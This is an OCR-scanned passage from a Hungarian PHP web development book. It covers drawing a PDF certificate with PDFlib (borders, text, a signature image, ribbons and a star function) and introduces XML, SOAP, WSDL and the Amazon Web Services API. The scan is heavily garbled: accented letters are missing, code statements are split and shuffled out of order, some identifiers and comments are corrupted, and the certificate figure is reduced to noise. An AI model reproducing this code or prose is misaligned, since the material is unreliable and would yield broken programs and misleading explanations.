ZapfDingbats
Az ettl eltr bettpusokat begyazhatjuk a dokumentumokba, m ez egyrszt nveli a fjlmretet, msrszt pedig nem
mindegy, hogy rnilyen licenccel rendelkeznk az adott bettpusra vonatkozan. A kvetkezkppen vlaszthatjuk ki a bett
32
'Times-Roman',
'host',
0);
A betrnretet pontokban adjuk meg. Pldnkban host tpus karakterkdolst vlasztottunk. A lehetsges rtkek
a winansi, a b uiltin, a macroman,
az
az
winansi-Az ISO 8859-1 karakterkszletet, illetve a Microsoft ltal hozzadott klnleges karaktereket (pldul
az
az
az
x, y
oldalmtet 595
842 pont, az (50, 700) pont a lap bal szltl krlbelll,6 centimterre, fellrl pedig 5 centi
mterre helyezkedik el. Az albbi kdsorral lltjuk be erre a pontea a szveg helyt:
pdf_set_text_pos{$pdf,
50,
700);
Az oldalbellts utn vgre szveget is rhatunk r. A pdf_show{) fggvnyt meghvva rhatunk a kivlasztott bettpus
sal
az
Ha szecetnnk a kvetkez sorba tovbbi szvegec rni, a pdf_continue_text{) fggvnyt kell meghvnunk. A ,.{
mondja a PHP)"karakcerlncot a
pdf_continue_text{$pdf,'{- mondja a PHP)');
556
32.fezer
Ennek a sornak a ponros helye a kivlasztott bettpusrl s -mrettl fgg. Ha sorok vagy kifejezsek helyett folyamaros
bekezdseker szerernnk rni, akkor hasznljuk inkbb a pdf _show_boxed() fggvnyt, amelyben megadharunk egy szveg
dobozt, amibe a szveget szeretnnk folyatni!
Miutn hozzadtuk az oldalhoz annak teljes tattalmt, a pdf_end_page () fggvnyt kell meghvnunk:
pdf_end_page($pdf);
application/pdf');
header('Content-Disposition:
header('Content-Length:
inline;
filename=tesztpdf.pdf');
' . strlen($adat));
Ha gy tetszik, merevlemezre is rhatjuk az adatot. Ezt gy tehetjk meg, hogy a pdf_open_file () fggvnynek msodik
paramterknt radunk egy fjlnever.
rdemes megemlteni, hogy a PHP kziknyvben opcionlis PDF!ib fggvnyparamterknt dokumentlt paramterek
a PDF!ib egyes verziiban ktelezk is lehetnek. Az oklevl dokumentuma viszonylag bonyolult, szeglye, vektoros s pixel
grafikus kpet egyarnt tartalmaz.A korbban hasznlt kt mdszernl ezek egy szvegszerkesztvel knnyen hozzadhark
a dokumenrumhoz. PDF!ib fggvnyek hasznlata esetn sajt kezleg kell ezeket az oldalhoz hozzadnunk.
32
az
egyben le tudnnk m
solni a korbban hasznlt oklevelet, rengeteg erfesztsnkbe kerlne az egyes dsztelemek ellltsa s elhelyezse, mikz
ben olyan szvegszerkeszrvel, minr pldul a Microsoft Word, gyerekjtk a dokumentum elksztse.
A korbban ltott szveger szeretnnk hasznlni, illerve meg akarjuk jelenteni a dszszalag vekroros grafikjr s a pixelgra
fikus alrsr is, de a dszszegly ellltsrl elrekintnk.A 32.6 pldakdban talljuk a PDF fjlt elllr teljes kdot.
32.6 pldakd: pdflib.php-Az oklevl ellltsa PDFlib fggvnyekkel
<?php
l l
if(!$nev
$ POST['teszteredmeny'];
! $teszteredmeny) {
echo "<hl>Hiba:</hl>
<p>Az oldal meghvsa nem sikerlt. </p>";
else
$datum
date('Y.m.d.');
pdf new();
pdf_open_file($pdf,
"");
557
842 pont
$szelesseg = 842;
$magassag
595;
pdf_begin_page($pdf,
$szelesseg,
$magassag);
ll szeglyek rajzolsa
$margo = 20;
$szegely =
10;
$terkoz = 2;
$margo-$terkoz,
$margo-$terkoz,
$szelesseg-2*($margo-$terkoz),
$magassag-2*($margo-$terkoz));
pdf_stroke($pdf);
$szegely);
$margo+$szegelyl2,
$margo+$szegelyl2,
$szelesseg-2*($margo+$szegelyl2),
$magassag-2*($margo+$szegelyl2));
pdf_stroke($pdf);
pdf_setlinewidth($pdf,
1.0);
32
$margo+$szegely+$terkoz,
\.
$margo+$szegely+$terkoz,
$szelesseg-2*($margo+$szegely+$terkoz),
$magassag-2*($margo+$szegely+$terkoz));
pdf stroke($pdf);
ll fcm hozzadsa
$betutipus = pdf_findfont($pdf,
if ($betutipus)
$betutipus_neve,
'host',
0);
pdf_setfont($pdf,
$betutipus,
48);
'PHP oklevl',
'12'))12;
'PHP oklevl',
$startx,
490);
ll szveg hozzadsa
$betutipus = pdf_findfont($pdf,
if ($betutipus)
pdf_setfont($pdf,
$startx
$betutipus_neve,
'host',
0);
{
$betutipus,
26);
70;
pdf_show xy($pdf,
pdf_show_xy($pdf,
strtoupper($nev),
$betutipus = pdf_findfont($pdf,
if ($betutipus)
hogy',
$startx+90,
$betutipus_neve,
$startx,
391);
'host',
0);
430);
558
32. fejezet
pdf_setfont($pdf,
pdf_show_xy($pdf,
$betutipus,
20);
'jogosult az oklevlre,
$startx,
340);
pdf_show_xy($pdf,
$startx,
pdf_show_xy($pdf,
pdf_show_xy($pdf,
pdf_show_xy($pdf,
"$datum napjn",
pdf_show_xy($pdf,
'Kiadta:',
$startx,
$startx,
310);
$startx,
$startx,
$startx,
260);
210);
180);
150);
100);
pdf load_image($pdf,
'png',
'/Program
Files/Apache
Software
Foundation/Apache2.2/htdocs/php_es_mysql/32_fejezet/alairas.png',
pdf_fit_image($pdf,
$alairas,
200,
75,
'');
'');
$alairas);
'both',
'cmyk',
43/255,
pdf_setcolor ($pdf,
'both',
'cmyk',
1/255,
ll l. szalag rajzolsa
32
pdf_moveto($pdf,
630,
pdf_lineto($pdf,
610,
150);
55);
pdf_lineto($pdf,
632,
69);
pdf_lineto($pdf,
646,
49);
pdf_lineto($pdf,
666,
150);
pdf_closepath($pdf);
pdf_fill($pdf);
ll l.
szalag krvonala
pdf_moveto($pdf,
630,
pdf_lineto($pdf,
610,
150);
55);
pdf_lineto($pdf,
632,
69);
pdf lineto($pdf,
646,
49);
pdf lineto($pdf,
666,
150);
pdf_closepath($pdf);
pdf_stroke($pdf);
ll 2. szalag rajzolsa
pdf_moveto($pdf,
660,
150);
pdf_lineto($pdf,
680,
49);
pdf lineto($pdf,
695,
69);
pdf lineto($pdf,
716,
55);
pdf_lineto($pdf,
696,
150);
pdf_closepath($pdf);
pdf_fill($pdf);
ll 2.
szalag krvonala
pdf_moveto($pdf,
660,
150);
pdf_lineto($pdf,
680,
49);
pdf_lineto($pdf,
695,
69);
49/255,
1/255,
1/255,
1/255,
67/255);
1/255);
ll sttkk
// fekete
pdf_lineto($pdf,
716,
55);
pdf_lineto($pdf,
696,
150);
559
pdf_closepath($pdf);
pdf_stroke($pdf);
pdf_setcolor ($pdf,
'both',
'cmyk',
1/255,
81/255,
81/255,
175,
32,
57,
10,
$pdf,
true);
175,
32,
57,
10,
$pdf,
false);
20/255);
// vrs
//fejrsz rajzolsa
csillag_rajzolsa(665,
//fejrsz krvonala
csillag_rajzolsa(665,
application/pdf');
header('Content-disposition:
header('Content-length:
'
inline;
filename=test.pdf');
strlen($adat));
/'
echo $adat;
function csillag_rajzolsa($kozeppontx,
$ag_merete,
$belso_sugar
for ($i = 0;
$i<=$agak*2;
$kozepponty,
$pdf,
$sugar-$ag_merete;
$i++)
$szog= ($i*2*pi())/($agak*2);
if($i%2)
$x = $sugar*cos($szog)
$kozeppontx;
$y = $sugar*sin($szog)
$kozepponty;
else
$belso_sugar*cos($szog) + $kozeppontx;
$x
$y = $belso_sugar*sin($szog) + $kozepponty;
if($i==0)
pdf_moveto($pdf,
$x,
$y);
else if ($i==$agak*2)
pdf_closepath($pdf);
else
pdf_lineto($pdf,
$x,
if($kitoltve)
pdf_fill_stroke($pdf);
else
pdf_stroke($pdf);
$y);
$agak,
$kitoltve)
$sugar,
32
560
32. fejezet
?>
A kddal elllitott oklevelet a 32.7 brn ltjuk. Nagyon hasonl a korbbiakhoz, csak a szeglye egyszerbb, s a szalagon
a csillag kicsit mshogy nz ki. Ennek oka, hogy a dszszalagot megrajzolruk, nem pedig meglv grafikt helyeztnk a doku
mentumba.
L...----*
.....
t'.i!
.-:
-
Yf
PHP Certification
This is rocertifythat:
JANEOOE
ll
ll
Tbc-----""lhc
FktioPallao.ti""o!PHPC
.. .NtylO.lOOl..
,.,,
l H' o o.......__
32
tumot. Ha fjlba rnnk, egyedi fjlneveket elllt mechanizmusta is szksgnk lenne, valamilyen mdszerrel meg kellene
akadlyoznunk, hogy a felhasznlk hozzfrjenek msok okleveleihez, illetve meg kellene tallni annak a mdjt, hogyan lehet
a rgebbi okleveleket trlve szabad terlethez jutni a kiszolgln.
Dokumeorum memriban val ltrehozshoz paramterek nlkl hvjuk meg a pdf _new () fggvnyt, majd meghvjuk
a pdf _open _file() fggvnyt is, ahogy tettk azt kdunkban is:
$pdf
pdf new();
pdf_open_file($pdf,
"");
Az egyszerstett szegly tulajdonkppen hrom keretbl ll: egy vastagabb s kt vkony keretbl, amelyek kzl az egyik
a vasrag szeglyen kivl, a msik pedig bell helyezkedik el. A hrom kereter tglalapknt fogjuk megrajzolni.
Annak rdekben, hogy a szeglyeket gy helyezzk el, hogy a ksbbiekben egyszeren mdosthassuk az oldalmretet
vagy a szeglyek megjelenst, a szeglyek pozcionlsra vltozkat hasznlunk: Sszelesseg s $magassag, illetve
$margo, $szegely s $terko z. A $margo vltozval hatrozzuk meg azt, hogy hny pontnyira van a szegly az oldal
szlrl, a $szegely a legersebb szegly vastagsgt adja meg, a $terkoz pedig a vastag s a vkony szeglyek kztti t
volsgot trolja.
Ha rajzolrunk mr ms grafikus alkalmazsprogramozsi fellettel (API), a PDF!ib knyvtrral val rajzols nem sok j
donsgot tartogat szmunkra. Ha nem olvastuk el a Kpek ellltsa cm 22. fejezetet, rdemes lehet most megtennnk, mert
a kpek gd knyvtrral val rajzolsa nagyon hasonl a PDF!ib knyvtrral trtn rajzolshoz.
A vkony szeglyek ellltsa gyerekjtk. Tglalapot a pdf_rect ( ) fggvnnyel hozharunk ltre, amely paramterknt
a PDF dokumeorum azonostjt, a tglalap bal als sarknak
sgt vrja. Mivel rugalmas kialakits dokumenrumra van szksgnk, a belltott vltozkbl szmtjuk ki ezeket az
rtkeket:
pdf_rect($pdf,
$margo-$terkoz,
$margo-$terkoz,
$szelesseg-2*($margo-$terkoz),
$magassag-2*($margo-$terkoz));
A pdf_rect () meghvsa ltrehozza a tglalap alak grbt (path). Az alakzat megrajzolshoz meg kell hvni
apdf_stroke() fggvnyt:
pdf_stroke($pdf);
561
A kzps,vastag szegly megrajzolshoz meg kell adni a vonalvastagsgot. Az alaprtelmezett vastagsg l pont. A pdf_
albbi meghvsa a $szegely rtkre, jelen esetben 10 pontra lltja a vonalvastagsgot:
setlinewidth()
pdf_setlinewidth($pdf,
$szegely);
A belltott vonalvastagsggal ismt lttehezunk egy tglalapot (a pdf_rect() fggvnnyel),majd meghvjuk a pdf_
stroke() fggvnyt,hogy megrajzolja azt:
pdf_rect($pdf,
$margo+$szegely/2,
$margo+$szegely/2,
$szelesseg-2*($margo+$szegely/2),
$magassag-2*($margo+$szegely/2));
pdf_stroke($pdf);
pontra:
1.0);
A pdf_show_xy () fggvnnyel helyezzk el azoklevlen a szvegsorokat. A sarok tbbsgnl bellthat rtket adunk
a bal marg x koordintjnak ($startx) , az y koordintt pedig szemmctk alapjn vlaszguk ki. Mivel a cmsort vzszin
tesen kzpre szeretnnk igaztani, meg kell llaptani a szlessgt ahhoz, hogy a bal szlt megfelel pozciba helyezhessk.
Karakterlnc szlessgt a pdf_stringwidth () fggvnnyel derthetjk ki. A
pdf_stringwidth($pdf,
'PHP oklevl',
$betutipus,
'12')
fggvnyhvs az adott bettpussal s mretben szedett 'PHP oklevl'szering szlessgt adja vissza.
Ugyangy, mnt az oklevl tbbi vltozatban,most is szkennelt kpknt szrjuk be az alrst. Az albbi hrom utasts
$alairas
pdf_load_image($pdf,
'png',
'/Program
Files/Apache
Software
Foundaton/Apache2.2/htdocs/php_es_mysql/32_feJezet/alairas.png',
pdf_fit image($pdf,
$alairas,
pdf_close image($pdf,
200,
75,
'');
'');
$alairas);
megnyiga az alrst tartalmaz PNG fjlt, a meghatrozott helyen hozzadja a kpet az oldalhoz,majd bezrja a kpfjlt.
A PNG helyett termszetesen ms fjltpust is hasznlhatunk.
Megjegys: Amikor a pdf_load_image() fggvnnyel tltnk be kpet, a fjl teljes elrsi tvonalt meg kell adni. A pl
dban az alairas.pngfjl Windows rendszeren lv elrsi tvonalt ltjuk.
Az oklevl PDFlib fggvnyekkel trtn elksztsnek legnehezebb rsze a dszszalag hozzadsa. Azt ugyan nem tehegk meg, hogy automatikusan megnyiguk s beillesztjk a grafikt tartalmaz Windows metafjlt, de alakzatokat tetszs
szerint rajzolhatunk.
A szalagokat mintz kitlttt alakzatot az albbi kddal rajzolhatjuk meg. A krvonal sznt feketre, a kitltsznt pedig
sttkkre lltjuk:
pdf setcolor ($pdf,
'both',
'cmyk',
pdf_setcolor ($pdf,
'both',
'cmyk',
43/255,
l/255,
49/255,
1/255,
1/255,
1/255,
67/255);// sttkk
1/255);ll fekete
630,
150);
pdf_lineto($pdf,
610,
55);
pdf_lineto($pdf,
632,
69);
pdf_lineto($pdf,
646,
49);
pdf_lineto($pdf,
666,
150);
pdf_closepath($pdf);
pdf_fill($pdf);
Mivel krvonalat is szeretnnk a sokszg kr,megint ltre kell hozni ugyanazt a grbt, de ezttal a pdf_stroke (),nem
pedig a pdf_fill() fggvnyt hvjuk meg r.
A sokg csillag bonyolult, ismtld alakzat, fggvnyt rtunk a grbe pozcijnak kiszmtsra. Fggvnynk neve
csillag_raj zolsa (),s paramterknt a csillag kzppontjnak x s y koordintjt, gainak szmt, sugart s hosszt,
a PDF dokumentum azonostjt, illetve egy Boole-i rtket vr, amely azt hatrozza meg, hogy ki legyen tltve a csillag,vagy
csupn krvonala legyen.
32
'-
562
32. fejezet
A csillag_ raj zolsa () fggvny trigonometriai szmtsokkal hatrozza meg a csillag cscsainak helyt. Ahny g
csillagot szecetnnk rajzolni, annyi pontot kapunk a csillag kzppongtl sugrnyi tvolsgra, s ugyanennyi pontot egy olyan
kisebb krn, amely a kls (a sugr ltal meghatrozott) krtl az $ag_mere te tvolsgra van. A kt krn lv pontokat
egy-egy vonallal kgk ssze. rdemes megjegyezni, hogy a PHP trigonometrikus fggvnyei, gy pldul a cos () s a sin()
fokok helyett radinban szmol.
Egy megfelel fggvnnyel s nmi matematikai szmolssal pontosan elllthacunk akr bonyolultabb ismtld alakzato
kat is. Ha kifinomultabb szeglye szecetnnk adni az oldalhoz, hasonl mdszerrel azt is megrehetnnk.
Ha az oklevl sszes elemr elksztettk, be kell zrnunk az oldalt s a dokumentumot.
application/sword);
vagy
header('Content-type:
application/pdf');
Nem rt tudni azt sem, hogy a bngszk nem egysges mdon kezelik ezeket a fejlceket. Elssorban az Internet Explorer
hajlamos gy dnteni, hogy figyelmen kvl hagyja a MIME-tpust, s megksrli automatikusan meghatrozni a f:ijltpust.
(Az Internet Explorer jabb verziiban javulni ltszik a helyzet, gy ha ilyen problmt tapasztal unk, a legegyszerbb megolds
bngsz nk frisstse lehet.)
Egyes fejlcek problmkat okoznak munkamenec-vezrls esetn. Tbbflekppen orvosolhatjuk ezeket. Mi szemly szerint
azt tapasztaltuk, hogy a
POST
megolddik ez a problma. Egy msik lehetsges megolds, ha nem online PDF-et hasznlunk, hanem letltegk a dokumen
tumot a felhasznlval, ahogy tettk azt a,.Hell, vilg!" PDFlib-pldban. gy is elkerlhegk a problmkat, ha kiss eltr
verzikban hozzuk ltre kdunkat, s a leginkbb eleerjedt bngszkre optimalizljuk az egyes vltozatokat.
32
A projekt tovbbfejlesztse
Ha valamivel komolyabb tennnk a pldban szerepl vizsgt s rtkelst, akkor sokkal szlesebb krben hasznlhatnnk a ki
fejlesztett alkalmazst, m clunk jelen esetben csupn az volt, hogy bemutassuk, hogyan lltsunk el sajt dokumentumokat.
Az online tadhat perszanalizlt dokumentumok krbe tartoznak pldul a jogi dokumentumok (szerzdsek stb.),
a rszben elre kitlttt megrendel- vagy jelentkezsi lapok, illetve a kzintzmnyek ltal hasznlt rlapok.
Hogyan tovbb:
A kvetkez fejezeeben a PHP XML funkciit fogjuk grcs al venni, s arra hasznljuk a PHP-t, hogy REST s SOAP
segtsgvel csatlakozzunk az Amazon Web Services API-jhoz.
33
Kapcsolds az Amazon Web Services
fellethez XML s SOAP segtsgvel
Az elmlt vekben fontos kommunikcis eszkzz vlt az Extensible Markup Language (kiterjeszther ler nyelv, XML).
Fejezetnkben az Amazon Web Services fellett felhasznlva bevsrlkosarat fejlesztnk honlapunkra, amelynek mgrres
feldolgozrendszere (back end) az Amazon lesz. (Alkalmazsuk neve Tahuayo, amely egybknt az Amazonas mellkfolyja.)
Kt klnbz, egy SOAP s egy REST alap mdszert hasznlunk. A REST-et XML over HTTP-nek, vagyis HTTP pro
tokollon keresztli XML-nek is szoks nevezni. A PHP bepterr SimpleXML knyvtrr, illetve a kls NuSOAP knyvt
rat fogjuk ignybe venni e kr mdszer megvalsrsra.
A fejezetben az albbi tmakrkkel foglalkozunk:
Az XML s a Web Services alapjainak megismerse
Az XML hasznlara az Amazonnal val kommuniklsra
XML feldolgozsa a PHP SimpleXML knyvrrval
Vlaszok gyorsrtrazsa
Kommunikci az Amazonnal a NuSOAP knyvtr segtsgvel
564
33. fejezet
Mieltt rtrnnk alkalmazsunk alkotelemeinek bemutatsra, sznjunk egy kis idt arra, hogy megismerjk az XML
szerkezett s hasznlatr, illetve ltalnossgban a Web Services felletet!
Ismerkeds
az
XML-lel
Azok szmra, akik mg nem ismerik az XML-t s a Web Services programot, a kvetkez oldalakon rviden bemutatjuk
ket.
Az imnt mr rtuk, hogy az XML az Extensible Markup Language rvidtse, jelentse kiterjeszthet ler nyelv. Specifik
cijt a W3C konzorcium ksztette. Az XML-rl rengeteg informcit tallunk a W 3C XML-rl szl oldaln: http://www.
w3.org/XML/.
Az XML a Standard Generalized Markup Language (SGML) egyszerstett rszhalmaza. Ha ismerjk mr a HTML-t,
vagyis a hiperszveg-ler nyelvet, akkor knnyedn megrtjk majd az XML fogalmait is. (Ha netaln nem ismernnk mg
a HTML-t, akkor a rossz vgn kezdtk olvasni ezt a knyvet!)
Az XML dokumentumok cmke- (tag) alapszveges formtumok. A 33.1 pldakdban pldaknt kzlt XML dokumen
tum az Amazon ltal- adott paramterekkel rendelkez XML over HTTP krsre- kldtt vlasz. (A projekt kdjaiban
a korbbi fejezetektl eltrerr- nem fordtjuk le a vltozkat, fggvnyeket stb., illetve a bngszben megjelen szveges ele
meket. Mivel kdunk az Amazonnal fog kommuniklni, ragaszkodnunk kell az Amazon ltal megkvetelt vltoznevekhez.)
33.1 pldakd: A knyvnk els kiadst ler XML dokumentum
<?xml version="l.O" encoding="UTF-8"?>
<ItemLookupResponse
xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">
<Items>
<Request>
<IsValid>True</IsValid>
<ItemLookupRequest>
<IdType>ASIN</IdType>
<Itemid>0672317842</Itemid>
<ResponseGroup>Similarities</ResponseGroup>
<ResponseGroup>Small</ResponseGroup>
</ItemLookupRequest>
33
</Request>
<Item>
<ASIN>0672317842</ASIN>
<DetailPageURL>http://www.amazon.com/PHP-MySQL-Development-Luke
Welling/dp/0672317842%3F%26linkCode%3Dspl%26camp%3D2025%26creative%3D165953%26crea
tiveASIN%300672317842
</DetailPageURL>
<ItemAttributes>
<Author>Luke Welling</Author>
<Author>Laura Thomson</Author>
<Manufacturer>Sams</Manufacturer>
<ProductGroup>Book</ProductGroup>
<Title>PHP and MySQL Web Development</Title>
</ItemAttributes>
<SimilarProducts>
<SimilarProduct>
<ASIN>1590598628</ASIN>
<Title>Beginning PHP and MySQL: From Novice to Professional,
Third Edition
</SimilarProduct>
<SimilarProduct>
<ASIN>032152599X</ASIN>
<Title>PHP
6 and MySQL 5
565
</SimilarProduct>
<SimilarProduct>
<ASIN>0596005431</ASIN>
<Title>Web Database Applications with PHP
&
MySQL,
2nd Edition</Title>
</SimilarProduct>
</SimilarProducts>
</!tem>
</Items>
o" encoding="UTF-8"?>
Ez a szabvnyos deklarci azt jelzi, hogy a most kvetkez dokumentum UTF-8 karakterkdolst hasznl XML lesz.
Nzzk meg most a dokumentum trzst! Az egsz dokumentum nyit s zr cmkeprokbl ll, olyanokbl, rnint pldul
a nyit s zr !tem cmke:
<!tem>
</!tem>
Az !tem pontosan olyan elem, rnint arnilyenekkel HTML-ben tallkozhatunk. St, a HTML-hez hasonlan itt is begyaz
hatjuk az elemeket, rnint ahogy azt a fenti pldban az !tem elemen bell az ItemAttributes elemmel tettk, amin bell tovbbi
elemeket (pldul Author) tallunk:
<ItemAttributes>
<Author>Luke Welling</Author>
<Author>Laura Thomson</Author>
<Manufacturer>Sams</Manufacturer>
<ProductGroup>Book</ProductGroup>
<Title>PHP and MySQL Web Development</Title>
Ugyanakkor nhny klnbsget is meg kell emltennk a HTML-hez kpest. Az els, hogy rninden nyitcmkhez
zrcmke is szksges. Kivtelt kpeznek e szably all az res elemek, amelyek- rnivel nem tartalmaznak szveget- egyet
len cmkben nyitdnak s zrdnak. Ha dolgoztunk mr XHTML-lel, pontosan ezrt lthattuk a <br> cmke helyett
a <br
/>-t.
Ezen tlmenen minden elemet szablyosan kell begyazni. Egy HTML rtelmezt minden bizonnyal nem
zavar a <b><i>Szveg</b></i>, de az XML vagy XHTML rvnyessghez szablyosan kell begyazni a cmkket:
<b><i>Szveg</i></b>.
Taln mr szrevettk, hogy az XML s a HTML kztt az a legfbb klnbsg, hogy elbbiben sajt cmkket hozharunk
ltre. Ez adja az XML rugalmassgt, hiszen a trolni kvnt adatoknak megfelel szerkezet dokumentumokat hozhatunk lt
re. D ocument Type Definitiont ( dokumentumtpus-defincit, DTD) vagy XML Schemt rva formba nthetjk XML do
kumentumaink struktrjt. Mindkettt arra hasznljuk, hogy lerjuk egy adott XML dokumentum szerkezett. Ha a DTD-t
vagy a Schemt osztlydeklarciknt kpzeljk el, akkor pedig az XML dokumentum az adott osztlynak lesz egy pldnya.
Mostani pldnkban nem hasznlunk sem DTD-t, sem Schemt.
Az Amazonnak a Web Services fellethez tartoz aktulis XML smjt a http:/ /webservices.amazon.com/
AW SECommerceService/AW SECommerceService.xsd oldalon talljuk. Az XML smt kzveclenl bngsznkben meg
tudjuk nyitni.
1-J
566
33. fejezet
Lthatjuk, hogy az els sotban szeteplXML deklarcit leszmtva a dokumentum teljes trzst az ItemLookupResponse
elemen bell talljuk. Ezt a dokumentumgykrelemnek ( root element) nevezzk. Vizsgljuk meg kzelebbrl:
<ItemLookupResponse
xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">
nem szksges megrtennk a nvterek mkdst, mgis hasznos lehet, ha tisztban vagyunk a fogalom jelentsvel.Az alap
gondolat az, hogy nvtrhez kapcsoljuk az elemek s attribtumok nevt, gy a gyakori nevek nem fognak tkzni akkor sem,
amikor klnbz forrsokbl szrmaz dokumentumokkal dolgozunk. Ha szeretnnk tbbet megtudni a nvterekrL olvas
suk el a ,N
. amespaces inXML Recommendation" (XML nvterekre vonatkoz ajnls) dokumentumot a http:/ /www.w3.org/
TR/REC-xml-names/ oldalon! Ha ltalnossgban szeretnnk tbbet megtudni azXML-rl, szmos informciforrsbl
tjkozdhatunk.A W3C oldala kivl kiindulsi pont, de tbb szz kivl knyvet s webes oktatanyaget is rtak mr errl
a tmrl.Az ZVON.org oldalon nagyszer webes oktatanyagokat tallunk azXML-hez.
Web Services
A Web Services, vagyis webes szolgltatsok az interneten keresztl elrhet alkalmazsfelletek. Ha objektumorientlt fo
galmakban gondolkodunk, egy adott Web Service olyan osztlynak tekinthet, amely az interneten keresztl teszi kzz nyil
vnos metdusait.A Web Services immr szles krben elterjedt koncepci, s az iparg nagy nevei kzl egyre tbben teszik
egyes funkciikat Web Services segtsgvel elrhetv.A Google, azAmazon, az eBay s a PayPal pldul rnind Web Services
szolgltatsok szles vlasztkt kinlja. Miutn a fejezetben vgigvesszk az Amazon fellethez illeszked kliens bellts
nak folyamatt, igen egyszeren fejleszthetnk kliensfelletet pldul a Google-hoz is. Ehhez a http:/l code.google.com/apis/
oldalon tallunk tovbbi informcit.
Tbbfle magprotokollt hasznlunk a tvoli fggvnyhvs mdszerben.A kt legfontosabb kzlk a SOAP s a WSDL.
SOAP
A SOAP olyan, krs s vlasz ltal vezrelt zenerkld protokoll, amely lehetv teszi a klienseknek Web Services szolgl
tatsok meghvst, illetve lehetv teszi a kiszolglknak, hogy vlaszoljanak az ilyen krsekre. Minden SOAP zenet, gy
a krsek s a vlaszok is egyszerXML dokumentumok.A 33.1 pldakdban azAmazonnak kldhet SOAP krsre ltunk
pldt. Ez a krs vltotta ki a 33.1 pldakdban ltottXML-t.
33.2 pldakd:
33
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<m:ItemLookup>
<m:Request>
<m:AssociateTag>webservices-20</m:AssociateTag>
<m:IdType>ASIN</m:IdType>
<m:Itemid>0672317842</m:Itemid>
<m:AWSAccessKeyid>OXKKZBBJHE7GNBWF2ZG2</m:AWSAccessKeyid>
<m:ResponseGroup>Similarities</m:ResponseGroup>
<m:ResponseGroup>Small</m:ResponseGroup>
</m:Request>
</m:ItemLookup>
</SOAP-ENV:Body>
A SOAP zenet elszr is deklarlja, hogy XML dokumentummal llunk szemben. Minden SOAP zenetnek SOAP
Envelope a gykreleme. Ezen bell talljuk a Body elemet, amely magt a krst tartalmazza.
A krs egy ItemLookup, ami pldnkban arra kri azAmazon kiszolgljt, hogy azASIN kd (Amazon.com Standard
!tem Number, azaz Amazon.com szabvnyos ttelszm) alapjn keressen ki az adatbzisbl egy adott ttelt.AzAmazon.com
adatbzisban minden egyes termkhez ezt az egyedi azonostt rendelik hozz.
Az ItemLookup krst tvoli gpen trtn fggvnyhvsknt, elemeit pedig az ennek a fggvnynek tadand para
mterekknt kpzelhetjk el.A fenti pldban az IdType elemben tadjuk az,.ASIN" ttket, majd magt azASIN kdot
567
(0672317842) az I temld elemben kldjk el az Amazon kiszolgljnak; ez a kd knyvnk els kiadsra hivatkozik.
t kell adnunk mg Amazon partnerkdunkat (Associate ID), amit az Associa teTag elemben tesznk meg; a vlaszok
krt tpust (a ResponseGroup elemben); illetve az AWSAccessKeyld-t, ami egy, az Amazon ltal neknk adott fejleszti
tokenrtk ( developer token value).
Az erre a krdsre kapott vlasz a 33.1 dokumenrumban ltott XML dokumenrurnhoz hasonl- azzal a klnbsggel,
hogy SOAP Envelope elem fogja kzre.
SOAP hasznlata esetn- programozsi nyelvtl fggetlenl- ltalban programozssal, egy SOAP knyvtrat hasznl
va lltjuk el a SOAP krseket, s rtelmezzk az azokra rkez vlaszokat. Ez azrt elnys, mert megkiml bennnket
a SOAP krsek sajt kez ltrehozsrl, illetve a vlaszok hasonlkppeni rtelmezstL
WSDL
A WSDL a Web Services Description Language (webszolgltats-ler nyelv) rvidtse. (Gyakran.,vizdl"-nek ejtik.) A nyelv
arra szolgl, hogy lerjuk vele az adott weboldalon elrhet szolgltatsokhoz tartoz felletet. Ha szeretnnk ltni a fe
jezetben hasznlt Amazon Web Services szolgltatsokat ler W DSL dokumenrumot, a http:llecs.amazonaws.coml
AWSECommerceServicelAWSECommerceService.wsdl oldalon talljuk meg.
Ha rkaetinrunk erre a hivatkozsra, ltjuk, hogy a WSDL dokumenrumok sokkal sszetettebbek, mint a SOAP zenetek.
ppen ezrt, ha egy md van r, rninden esetben programozssal fogjuk ellltani s rtelmezni azokat.
Ha szeretnnk tbbet megrudni a WSDL-rl, olvassunk bele a http:llwww.w3.orgiTR/wsdl201 oldalon elrhet W3C
ajnlsba!
A megolds alkotelemei
A projekthez fejlesztend megolds tbb elembl ll. A nyilvnvalan szksges alkotelemeken- pldul a ltogatink sz
mra kialakitand kosrfunkcikon, illetve az Amazonhoz REST vagy SOAP segtsgvel val kapcsolds kdjn - tl n
hny segdalkalmazsra is szksgnk lesz. Kdunknak rtelmeznie kell a visszakapott XML dokumenrumokat ahhoz, hogy
kinyerjk bellk a kosr ltal megjelentett informcikat. Az Amazon elvrja, illetve alkalmazsunk teljestmnyt is nveli
a gyorsttrazs. Mivel a vsrls vgn a fizets az Amazonnl trtnik, valarnilyen mdon t kell adni a vsrli kosr tartal
mt az Amazonnak, illetve magt a vsrlt is t kell adnunk az Amazon szolgltatsnak.
Rendszernk megjelentsi (front end) rtegben nyilvnvalan ltre kell hozni a kosr funkcit . Ezt a Kosr funkci prog
ramozsa cm 28. fejezetben mr megrettk. Mivel projektnk kzppontjban nem az online vsrls ll, ebben a fejezetben
egy leegyszerstett alkalmazst fogunk hasznlni. Pusztn alapszint kosrra van szksgnk, ami kpes nyomon kvetni,
hogy rnit vlasztott ki a vsrl, majd fizetskor kzli ezt az Amazonnal.
Az Amazon Web Services fellet hasznlata
Az Amazon Web Services fellet hasznlathoz regisztrlnunk kell a http:llaws.amazon.com oldalon, ahol fejleszti tokent
kapunk. Ez a token azonost bennnket az Amazonnl, amikor krseink berkeznek.
rdemes lehet Amazon partnerazonostt (Associate ID) is ignyelni, mert gy jutharunk hozz a jutalkhoz, amit a ltoga
tk ltal felletnkn keresztl vsrolt termkek utn fizet az Amazon.
Az Amazon Web Services (AWS) Resource Center for Developers (Amazon webszolgltatsok informcis kzpontja
fejlesztknek), amit a http:ll developer.amazonwebservices.coml oldalon rnk el, rengeteg dokumentcit, oktatanyagat s
mintakdot kinl, amelyek mind az Amazon Web Services szolgltatsokhoz val kapcsaldst segtik. A fejezetben szerepl
pldn vgigmenve mkd rendszert fejlesztnk, s megismerkednk az AWS-hez kapcsolds s az informcilekrs alap
jaival, de ha szeretnnk az itt bemutatott alkalmazsbl kiindulva les weboldalt fejleszteni, akkor sznjunk nmi idt a do
kumentci alaposabb megismersre! Pldul sokfle elemet kereshetnk s nyerhetnk ki a tallz- s a keresinterfszek
